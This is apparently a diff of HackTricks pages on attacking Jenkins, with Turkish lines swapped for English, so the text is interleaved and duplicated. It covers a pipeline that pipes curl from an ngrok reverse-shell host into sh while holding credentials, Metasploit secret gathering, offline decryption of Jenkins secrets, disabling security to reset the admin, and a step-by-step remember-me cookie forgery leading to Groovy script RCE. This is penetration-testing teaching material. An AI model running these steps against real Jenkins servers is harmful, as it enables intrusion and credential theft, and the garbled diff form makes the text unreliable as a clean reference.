GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Keyfi Okuma ile RCE
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,40 +326,43 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Saldırı Sonrası
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Gizli Anahtarları
|
||||
|
||||
Yeterli izinleriniz varsa `/credentials/` adresine erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir.
|
||||
### Jenkins Secrets
|
||||
|
||||
Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada depoya erişmek için kullanılan **gizli anahtarların (secrets) isimlerini** ve **projenin diğer gizli anahtarlarını** da görebilirsiniz.
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### Groovy'den
|
||||
#### From Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### Diskten
|
||||
#### From disk
|
||||
|
||||
Bu dosyalar **Jenkins gizli anahtarlarını** çözmek için gereklidir:
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Böyle **gizli anahtarlar genellikle** şuralarda bulunabilir:
|
||||
Such **secrets can usually be found in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Onları bulmak için bir regex:
|
||||
Here's a regex to find them:
|
||||
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins sırlarını çevrimdışı çözme
|
||||
|
||||
Eğer **sırları çözmek için gerekli şifreleri** dökümlediyseniz, **bu scripti** kullanarak **o sırları çözebilirsiniz**.
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Groovy'den Jenkins sırlarını çözme
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Yeni admin kullanıcısı oluştur
|
||||
|
||||
1. `/var/lib/jenkins/config.xml` veya `C:\Program Files (x86)\Jenkis\` içindeki Jenkins config.xml dosyasına erişin.
|
||||
2. `<useSecurity>true</useSecurity>` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Jenkins** sunucusunu **yeniden başlatın**: `service jenkins restart`
|
||||
4. Şimdi Jenkins portalına tekrar gidin ve bu sefer **Jenkins herhangi bir kimlik bilgisi istemeyecek**. **Yönetim Jenkins** bölümüne giderek **yönetici şifresini tekrar ayarlayın**.
|
||||
5. Ayarları `<useSecurity>true</useSecurity>` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**.
|
||||
### Create new admin user
|
||||
|
||||
## Referanslar
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -382,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,87 @@
|
||||
# Temel Jenkins Bilgisi
|
||||
# Basic Jenkins Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Erişim
|
||||
## Access
|
||||
|
||||
### Kullanıcı Adı + Şifre
|
||||
### Username + Password
|
||||
|
||||
Jenkins'e giriş yapmanın en yaygın yolu bir kullanıcı adı veya şifre iledir.
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
|
||||
### Çerez
|
||||
### Cookie
|
||||
|
||||
Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna erişmek için kullanılabilir. Çerez genellikle `JSESSIONID.*` olarak adlandırılır. (Bir kullanıcı tüm oturumlarını sonlandırabilir, ancak önce bir çerezin çalındığını öğrenmesi gerekir).
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
|
||||
### SSO/Eklentiler
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins, üçüncü taraf SSO aracılığıyla **erişilebilir olacak şekilde eklentiler kullanılarak yapılandırılabilir**.
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
|
||||
### Tokenlar
|
||||
### Tokens
|
||||
|
||||
**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara CLI veya REST API aracılığıyla kendilerini taklit etme izni verebilir.
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
|
||||
### SSH Anahtarları
|
||||
### SSH Keys
|
||||
|
||||
Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) için alternatif bir arayüzdür ve komutlar bu şekilde herhangi bir SSH istemcisi kullanılarak çağrılabilir. (Kaynak: [docs](https://plugins.jenkins.io/sshd/))
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Yetkilendirme
|
||||
## Authorization
|
||||
|
||||
`/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır:
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
|
||||
- **Herkes her şeyi yapabilir**: Anonim erişim bile sunucuyu yönetebilir.
|
||||
- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilir, aksi takdirde (anonim kullanıcılar dahil) **okuma** erişiminiz olur.
|
||||
- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır.
|
||||
- **Matris tabanlı güvenlik**: **Kimlerin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir.
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Proje Tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.**
|
||||
- **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin.
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
|
||||
## **Güvenlik Alanı**
|
||||
## **Security Realm**
|
||||
|
||||
`/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir:
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
|
||||
- **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine kimlik doğrulama için **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kullanın. Bu varsayılan olarak etkindir.
|
||||
- **LDAP**: Hem kullanıcıları hem de grupları içeren tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin.
|
||||
- **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır.
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
|
||||
Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin:
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Düğümleri, Ajanlar ve Yürütücüler
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
[docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları:
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Düğümler**, **derleme ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır.
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
|
||||
**Ajanlar**, **yürütücüleri** kullanarak Jenkins denetleyicisi adına **görev yürütmesini yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. Derlemeler ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**.
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
|
||||
Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler.
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
|
||||
## Jenkins Gizli Bilgileri
|
||||
## Jenkins Secrets
|
||||
|
||||
### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, `$JENKINS_HOME/secrets/` içinde, bu anahtarları korumak için kullanılan anahtar ile birlikte saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kriptolojide "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli verileri şifrelemek için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kriptografi meraklıları için, Jenkins, `$JENKINS_HOME/secrets/` içinde saklanan [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 dolgu ve rastgele IV'ler ile CBC modunda AES kullanır. Yaygın anahtar kimlikleri şunları içerir:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
|
||||
- `hudson.util.Secret`: genel gizli bilgiler için kullanılır;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: [CSRF koruma mekanizması](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) tarafından kullanılır; ve
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### Kimlik Bilgilerine Erişim
|
||||
### Credentials Access
|
||||
|
||||
Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) veya yalnızca belirli projelerden erişilebilen **belirli projelere** (`/job/<project-name>/configure`) kapsamlandırılabilir.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
|
||||
[**Belgelerde**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) belirtildiği gibi: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **Derleme günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) gibi bir çağrı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerini **derleme günlüğünde** ifşa etmez.
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
|
||||
**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 ile kodlaması gerekir.**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -92,3 +92,6 @@ Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebi
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,104 +2,107 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu blog yazısında, Jenkins'teki bir Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
Bu, bir yerel dosya okuma istismar edilerek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
|
||||
### Saldırı Ön Koşulları
|
||||
### Attack Prerequisites
|
||||
|
||||
- **Özellik Gereksinimi:** "Beni hatırla" etkin olmalıdır (varsayılan ayar).
|
||||
- **Erişim Düzeyleri:** Saldırganın Genel/Okuma izinlerine ihtiyacı vardır.
|
||||
- **Gizli Erişim:** Anahtar dosyalardan hem ikili hem de metin içeriğini okuma yeteneği.
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
|
||||
### Ayrıntılı İstismar Süreci
|
||||
### Detailed Exploitation Process
|
||||
|
||||
#### Adım 1: Veri Toplama
|
||||
#### Step 1: Data Collection
|
||||
|
||||
**Kullanıcı Bilgisi Alma**
|
||||
**User Information Retrieval**
|
||||
|
||||
- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişin:
|
||||
- **Kullanıcı Adı**
|
||||
- **Kullanıcı tohum**
|
||||
- **Zaman Damgası**
|
||||
- **Şifre karması**
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
|
||||
**Gizli Anahtar Çıkartma**
|
||||
**Secret Key Extraction**
|
||||
|
||||
- Çerezi imzalamak için kullanılan kriptografik anahtarları çıkartın:
|
||||
- **Gizli Anahtar:** `$JENKINS_HOME/secret.key`
|
||||
- **Anahtar:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Anahtar Dosyası:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Adım 2: Çerez Sahteciliği
|
||||
#### Step 2: Cookie Forging
|
||||
|
||||
**Token Hazırlığı**
|
||||
**Token Preparation**
|
||||
|
||||
- **Token Süre Sonu Zamanını Hesapla:**
|
||||
- **Calculate Token Expiry Time:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
|
||||
- **Token için Verileri Birleştir:**
|
||||
- **Concatenate Data for Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Anahtarının Şifre Çözümü**
|
||||
**MAC Key Decryption**
|
||||
|
||||
- **MAC Anahtar Dosyasını Şifre Çöz:**
|
||||
- **Decrypt MAC Key File:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Anahtarı AES128 anahtar formatına dönüştür
|
||||
decrypted = AES.decrypt(macFile, key) // .mac dosyasını şifre çöz
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**İmza Hesaplama**
|
||||
**Signature Computation**
|
||||
|
||||
- **HMAC SHA256 Hesapla:**
|
||||
- **Compute HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesapla
|
||||
tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştür
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
|
||||
**Çerez Kodlama**
|
||||
**Cookie Encoding**
|
||||
|
||||
- **Son Çerezi Oluştur:**
|
||||
- **Generate Final Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Çerez verilerini Base64 ile kodla
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
|
||||
#### Adım 3: Kod Çalıştırma
|
||||
#### Step 3: Code Execution
|
||||
|
||||
**Oturum Kimlik Doğrulaması**
|
||||
**Session Authentication**
|
||||
|
||||
- **CSRF ve Oturum Token'larını Al:**
|
||||
- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb`'ı elde et.
|
||||
- Yanıttan `JSESSIONID`'yi yakala, bu, hatırla çerezi ile birlikte kullanılacaktır.
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
|
||||
**Komut Çalıştırma İsteği**
|
||||
**Command Execution Request**
|
||||
|
||||
- **Groovy Script ile POST İsteği Gönder:**
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir.
|
||||
